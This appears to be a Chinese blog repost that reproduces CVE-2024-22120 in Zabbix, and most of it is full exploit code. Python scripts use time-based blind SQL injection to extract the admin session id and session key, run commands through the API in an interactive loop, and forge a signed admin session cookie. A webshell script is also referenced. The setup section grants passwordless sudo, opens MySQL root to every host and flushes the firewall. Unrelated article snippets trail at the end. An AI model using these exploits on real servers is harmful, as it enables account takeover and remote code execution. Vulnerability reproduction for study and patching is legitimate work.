CVE-2024-22120:Zabbix低权限SQL注入至RCE+权限绕过

所有利用代码:

GitHub - W01fh4cker/CVE-2024-22120-RCE: Time Based SQL Injection in Zabbix Server Audit Log --> RCE

一、漏洞环境搭建

1.1 下载vmware镜像并设置

直接懒人一键搭建:

https://cdn.zabbix.com/zabbix/appliances/stable/6.0/6.0.20/zabbix_appliance-6.0.20-vmx.tar.gz

解压之后,vmware直接打开vmx文件,默认账号密码是root/zabbix

登录之后执行命令visudo,在底下添加一行:

zabbix ALL=(ALL) NOPASSWD:ALL

img

如果后续在web界面执行脚本的时候出错的话可以参考这篇文章继续修改尝试,反正我只加这一行就行了:

Detect operating system [zabbix] - 过去的我 - 博客园

为了方便测试,我们可以本地navicat连接环境的mysql数据库:

mysql -uroot
SET PASSWORD = 'zabbix'; 
use mysql;
select host, user from user;  
update user set host = '%' where user ='root';
FLUSH PRIVILEGES;
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
exit
/sbin/iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
yum install policycoreutils -y
这里也可以不用如此繁琐
直接iptables -F 清空防火墙,然后保存
service iptables save

1.2 漏洞环境设置

然后就是需要一些设置,首先需要添加一个用户,但是默认的User Role是没有HOSTS的查看权限的,所以需要先去开权限:

img

img

然后至少给一个读的权限,并点击Add

img

img

现在开始添加用户:

img

组就选我们刚刚设置过的Guests

img

角色选择User Role

img

需要一个低权限用户,并且该用户需要具有Detect operating system的权限,但是这个操作默认的是没有的,只有管理员用户组才有:

img

需要手动设置用户组为全部或者Guests:

img

img

到这里环境搭建完成。

二、漏洞复现

2.1 验证漏洞存在并获取管理员session id和session key

漏洞作者给出的脚本如下:

https://support.zabbix.com/secure/attachment/236280/zabbix_server_time_based_blind_sqli.py

他说可以延迟获取管理员的session id,但是我本地复现的时候获取的全0

img

登录数据库发现,有多个sessionid,需要加一个limit 1

img

因此我们可以修改代码如下:

import json
import argparse
from pwn import *
from datetime import datetime
​
def send_message(ip, port, sid, hostid, injection):
    zbx_header = "ZBXD\x01".encode()
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "3",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }
    message_json = json.dumps(message)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()
    #print("Sending message %s" % message)
    r = remote(ip, port, level='debug')
    r.send(message)
    response = r.recv(1024)
    r.close()
    print(response)
​
def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            print("\n(+) trying c=%s" % c, end="", flush=True)
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, end="", flush=True)
                break
    print("\n")
    return session_id
​
def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            print("\n(+) trying c=%s" % c, end="", flush=True)
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            send_message(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+) session_key=%s" % token, end="", flush=True)
                break
    print("\n")
    return token
​
def tiny_poc(ip, port, sid, hostid):
    print("(+) Running simple PoC...\n", end="", flush=True)
    print("(+) Sleeping for 1 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(1))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query-before_query))
    print("(+) Sleeping for 5 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(5))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query - before_query))
    print("(+) Sleeping for 10 sec...\n", end="", flush=True)
    before_query = datetime.now().timestamp()
    query = "(select sleep(10))"
    send_message(ip, port, sid, hostid, query)
    after_query = datetime.now().timestamp()
    print("(+) Request time: %d\n" % (after_query - before_query))
​
def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
    print("(+) Sending SQL request for MySQL version...\n", end="", flush=True)
    query = "(version())"
    send_message(ip, port, sid, hostid, query)
​
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Command-line option parser example')
    parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1")
    parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10")
    parser.add_argument("--ip", help="Zabbix server IP")
    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
    parser.add_argument("--sid", help="Session ID of low privileged user")
    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
    parser.add_argument("--poc", action='store_true', help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server", default=False)
    parser.add_argument("--poc2", action='store_true', help="Use this key to simply generate error in zabbix logs, check logs later to see results", default=False)
    args = parser.parse_args()
    if args.poc:
        tiny_poc(args.ip, int(args.port), args.sid, args.hostid)
    elif args.poc2:
        poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid)
    else:
        print("(+) Extracting admin session_id...")
        admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        print("(+) admin session_id=%s\n" % admin_sessionid, end="", flush=True)
        print("(+) Extracting Zabbix config session key...\n", end="", flush=True)
        config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        print("(+) config session_key=%s\n" % config_session_key, end="", flush=True)
        print("(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key" % (config_session_key, admin_sessionid))

这样就可以正确获取啦:

img

有了这个就可以实现RCE了,请看后文。

然后是poc2

python main.py --ip 192.168.198.136 --sid 4d2b6a02bfe2bc7d6fde50e8fe646621 --hostid 10084 LOG_LEVEL=error --poc2

然后查看日志:

cat /var/log/zabbix/zabbix_server.log | grep "version()"

img

2.2 利用获取到的管理员session id实现RCE

import requests
import json
​
ZABIX_ROOT = "http://192.168.198.136"
url = ZABIX_ROOT + "/api_jsonrpc.php"
host_id = "10084"
session_id = "00000000000000000000000000000000"
headers = {
    "content-type": "application/json",
}
auth = json.loads('{"jsonrpc": "2.0", "result": "' + session_id + '", "id": 0}')
​
while True:
    cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
    if cmd == "":
        print("Result of last command:")
    elif cmd == "quit":
        break
    payload = {
        "jsonrpc": "2.0",
        "method": "script.update",
        "params": {
            "scriptid": "1",
            "command": "" + cmd + ""
        },
        "auth": auth['result'],
        "id": 0,
    }
    cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers)
    payload = {
        "jsonrpc": "2.0",
        "method": "script.execute",
        "params": {
            "scriptid": "1",
            "hostid": "" + host_id + ""
        },
        "auth": auth['result'],
        "id": 0,
    }
    cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
    cmd_exe_json = cmd_exe.json()
    if "error" not in cmd_exe.text:
        print(cmd_exe_json["result"]["value"])
    else:
        print(cmd_exe_json["error"]["data"])

2.3 利用获取到的管理员session id和session key构造zbx_session登录管理界面

作者在报告中提了一嘴有session_id和session_key就可以得到sign值,然后就可以拼出zbx_session

网上也没找到相应的成品代码,那就去翻源码。

zabbix-6.0.20\ui\include\classes\core\CCookieSession.php这里面的代码是用来处理和session相关的操作的,代码也是写的通俗易懂:

img

img

就是做一个SHA256hash操作,那感情好啊,直接写出php形式的poc

<?php
    function sign(string $data): string {
        $key = "927f855d3388d6daedb153d3de864970";
        return hash_hmac("sha256", $data, $key);
    }
    function prepareData(array $data): string {
        $data['sign'] = sign(json_encode($data));
        return base64_encode(json_encode($data));
    }
    function set(string $key, $value):array {
        $_SESSION[$key] = $value;
        return $_SESSION;
    }
set("sessionid", "be52fe697c5935099d441f03c5c68bff");
set("serverCheckResult", true);
$session_ = set("serverCheckTime", time());
$res = prepareData($session_);
echo $res;
?>

改成python代码的时候需要注意字典的item的位置问题,示例代码如下:

def GenerateAdminSession(sessionid, session_key):
    def sign(data: str) -> str:
        key = session_key.encode()
        return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()
​
    def prepare_data(data: dict) -> str:
        sorted_data = OrderedDict(data.items())
        sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
        return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')
​
    session = {
        "sessionid": sessionid,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }
    res = prepare_data(session)
    return res

完整的代码:

import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime
​
def SendMessage(ip, port, sid, hostid, injection):
    context.log_level = "CRITICAL"
    zbx_header = "ZBXD\x01".encode()
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "1",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }
    message_json = json.dumps(message)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()
    r = remote(ip, port, level="CRITICAL")
    r.send(message)
    r.recv(1024)
    r.close()
​
def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+) session_key=%s" % token, flush=True)
                break
    return token
​
def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, flush=True)
                break
    return session_id
​
def GenerateAdminSession(sessionid, session_key):
    def sign(data: str) -> str:
        key = session_key.encode()
        return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()
​
    def prepare_data(data: dict) -> str:
        sorted_data = OrderedDict(data.items())
        sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
        return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')
​
    session = {
        "sessionid": sessionid,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }
    res = prepare_data(session)
    return res
​
def CheckAdminSession(ip, admin_session):
    proxy = {
        "https": "http://127.0.0.1:8083",
        "http": "http://127.0.0.1:8083"
    }
    url = f"http://{ip}/zabbix.php?action=dashboard.view"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Cookie": f"zbx_session={admin_session}"
    }
    resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
    if "Administration" in resp.text and resp.status_code == 200:
        return admin_session
    else:
        return None
​
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-22120-LoginAsAdmin")
    parser.add_argument("--false_time",
                        help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
                        default="1")
    parser.add_argument("--true_time",
                        help="Time to sleep in case of right guess(make it bigger than false time, default=10)",
                        default="10")
    parser.add_argument("--ip", help="Zabbix server IP")
    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
    parser.add_argument("--sid", help="Session ID of low privileged user")
    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
    args = parser.parse_args()
    admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    admin_session = GenerateAdminSession(admin_sessionid, session_key)
    res = CheckAdminSession(args.ip, admin_session)
    if res is not None:
        print(f"try replace cookie with:\nzbx_session={res}")
    else:
        print("failed")

完整的演示效果如下:

可以看到这里是用户vulntest的界面:

img

然后运行拿到session

img

替换cookie中对应的参数,然后刷新:

img

即可看到是Zabbix Administrator了,实现了从用户界面到管理界面的转换:

img

2.4 写Webshell

没有花时间研究其他办法了,因为运行用户是zabbix,等级太低了,所以默认情况下是没权限去echo写马的,但是我还是把对应的脚本传上去了:

CVE-2024-22120-RCE/CVE-2024-22120-Webshell.py at main · W01fh4cker/CVE-2024-22120-RCE · GitHub

img

网上对于这方面的研究不多,看到一篇灼剑安全团队的N0r4h师傅写的文章:

实战-艰难的一次zabbix getshell

他也提到了无法直接echo写马,但是他当时遇到的环境是存在pkexec的,所以有了后续的利用。

img

但是默认肯定是没有的:

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/894120.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

得物App3D创新应用引关注,世界设计之都大会启幕

近日&#xff0c;2024世界设计之都大会&#xff08;WDCC&#xff09;在上海盛大启幕。此次大会以“设计无界 新质生长”为主题&#xff0c;汇聚了全球设计领域的精英与前沿成果&#xff0c;展现了设计作为新质生产力的巨大潜力。主场展览占据了整整3个楼面&#xff0c;总面积达…

k8s-对命名空间资源配额

对k8s命名空间限制的方法有很多种&#xff0c;今天来演示一下很常用的一种 用的k8s对象就是ResourceQuota 一&#xff1a;创建命名空间 kubectl create ns test #namespace命名空间可以简写成ns 二&#xff1a; 对命名空间进行限制 创建resourcequota vim resourcequ…

基于Javaweb的医院挂号预约管理系统

系统展示 用户前台界面 管理员后台界面 医生后台界面 系统背景 在现代社会&#xff0c;随着医疗需求的不断增长&#xff0c;病患挂号成为医院面临的一大挑战。传统的挂号方式不仅耗时耗力&#xff0c;还容易引发混乱和不满。病患需要排队等候&#xff0c;挂号过程繁琐&#xff…

Nginx(Linux):启动停止Nginx

目录 1、理解Nginx后台进程2、停止Nginx(方式一&#xff1a;使用信号源)2.1 获取master进程号2.1 设置信号源 3、停止Nginx(方式二&#xff1a;使用命令行) 1、理解Nginx后台进程 Nginx后台进程包含master和worker两类进程。 master进程&#xff1a;主要用来管理worker进程&am…

Docker 教程四 (Docker 镜像加速)

Docker 镜像加速 国内从 DockerHub 拉取镜像有时会遇到困难&#xff0c;此时可以配置镜像加速器。 目前国内 Docker 镜像源出现了一些问题&#xff0c;基本不能用了&#xff0c;后期能用我再更新下。* Docker 官方和国内很多云服务商都提供了国内加速器服务&#xff0c;例如…

C++ | Leetcode C++题解之第479题最大回文数乘积

题目&#xff1a; 题解&#xff1a; class Solution { public:int largestPalindrome(int n) {if (n 1) {return 9;}int upper pow(10, n) - 1;for (int left upper;; --left) { // 枚举回文数的左半部分long p left;for (int x left; x > 0; x / 10) {p p * 10 x %…

Maxwell 底层原理 详解

Maxwell 是一个 MySQL 数据库的增量数据捕获&#xff08;CDC, Change Data Capture&#xff09;工具&#xff0c;它通过读取 MySQL 的 binlog&#xff08;Binary Log&#xff09;来捕获数据变化&#xff0c;并将这些变化实时地发送到如 Kafka、Kinesis、RabbitMQ 或其他输出端。…

信息搜集 --前端js打点

前端js打点 什么是js渗透测试 在Javascript中也存在变量和函数&#xff0c;当存在可控变量及函数调用即可参数漏洞JS开发的WEB应用和PHP&#xff0c;JAVA,NET等区别在于即没有源代码&#xff0c;也可以通过浏览器的查看源代码获取真实的点。获取URL&#xff0c;获取Js敏感信息&…

永磁同步电机控制算法--非线性自抗扰NLADRC转速环控制器(1)

一、原理介绍 ADRC由跟踪微分器(TD)、扩张状态观测器(ESO)和非线性状态误差反馈控制律(NLSEF)三部分组成。 其中SMC-LSEF表达式为: e3v1-z1u0ζsign(s)-ks-ce3u(u0-z2)/b 二、仿真验证 在MATLAB/simulink里面验证所提算法&#xff0c;采用和实验中一致的控制周期1e-4&#…

Navigation2 算法流程

转自 https://zhuanlan.zhihu.com/p/405670882 此文仅作学习笔记 启动流程 在仿真环境中启动导航包的示例程序&#xff0c;执行nav2_bringup/bringup/launch/tb3_simulation_launch.py文件。ROS2的launch文件支持采用python语言来编写以支持更加复杂的功能&#xff0c;本文件…

性能测试工具JMeter

本次使用的博客系统的url&#xff1a; http://8.137.19.140:9090/blog_edit.html 1. JMeter介绍 环境要求&#xff1a;要求java&#xff0c;jdk版本大于8&#xff1b; Apache JMeter 是 Apache 组织基于 Java 开发的压⼒测试⼯具&#xff0c;⽤于对软件做性能测试&#xff1b…

请问:ESModule 与 CommonJS 的异同点是什么?

前言 本篇文章不会介绍模块的详细用法&#xff0c;因为核心是重新认识和理解模块的本质内容是什么&#xff0c;直奔主题&#xff0c;下面先给出最后结论&#xff0c;接下来在逐个进行分析。 ECMAScript Module 和 CommonJS 的相同点&#xff1a; 都拥有自己的缓存机制&#…

分布式链路追踪原理:

我的后端学习大纲 SpringCloud学习大纲 假定三个微服务调用的链路如下图所示&#xff1a;Service 1 调用 Service 2&#xff0c;Service 2 调用 Service 3 和 Service 4 1、完整的调用链路&#xff1a; 1.1.原理分析&#xff1a; 1.那么一条链路追踪会在每个服务调用的时候加…

在PC端使用微信浏览器的调试功能

首先&#xff0c;此功能只限自己开发网页&#xff0c;其次&#xff0c;这是为了帮助使用了微信的相关JS SDK功能&#xff0c;比如微信登录&#xff0c;在不方便使用电脑上的浏览器时使用的的。 方法&#xff1a; 在网页中插入 <script src"https://unpkg.com/vconso…

Java根据word 模板,生成自定义内容的word 文件

Java根据word 模板&#xff0c;生成自定义内容的word 文件 背景1 使用技术2 实现方法依赖啊 3 问题4 背景 主要是项目中需要定制化一个word&#xff0c;也就是有一部分是固定的&#xff0c;就是有一个底子&#xff0c;框架&#xff0c;里面的内容是需要填充的。然后填充的内容…

WPF常见容器全方位介绍

Windows Presentation Foundation (WPF) 是微软的一种用于构建Windows桌面应用程序的UI框架。WPF的布局系统基于容器&#xff0c;帮助开发者以灵活、响应的方式组织用户界面 (UI) 元素。本篇文章将详细介绍WPF中几种常见的容器&#xff0c;包括Grid、StackPanel、WrapPanel、Do…

基于51单片机的proteus数字时钟仿真设计

注意&#xff1a;本项目是本人大学时期的课设项目&#xff0c;不得在未经本人允许下进行转载或商用 数字钟设计 项目背景与意义 在信息化时代&#xff0c;时间管理成为了我们日常生活中不可或缺的一部分。数字钟作为一种常见的时间显示设备&#xff0c;因其精确、直观、易读等…

如何捕捉行情爆发的前兆

在金融市场的激烈角逐中&#xff0c;每一次行情的爆发都是投资者获取丰厚回报的关键时刻。然而&#xff0c;如何识别并把握这些时刻&#xff0c;却是一门需要深厚金融专业知识和敏锐洞察力的艺术。今天&#xff0c;我们就来深入探讨行情爆发的初期信号&#xff0c;揭示那些能够…

Jlink 直接读取单片机数据

1. 驱动版本 因人而异&#xff0c;这里我使用的是 “J-Flash V6.96” 本人驱动链接&#xff1a;夸克网盘 提取码&#xff1a;rgzk 2. 打开软件 3. 创建jlink工程 4. 选择芯片 此处本人使用芯片 “STM32F103VCT6” 5. 连接单片机 连接成功反馈 6. 读取单片机内部数据 …

【2024|FTransUNet|论文解读1】融合视界:解密FTransUNet在遥感语义分割中的创新突破

【2024|FTransUNet|论文解读1】融合视界&#xff1a;解密FTransUNet在遥感语义分割中的创新突破 【2024|FTransUNet|论文解读1】融合视界&#xff1a;解密FTransUNet在遥感语义分割中的创新突破 文章目录 【2024|FTransUNet|论文解读1】融合视界&#xff1a;解密FTransUNet在遥…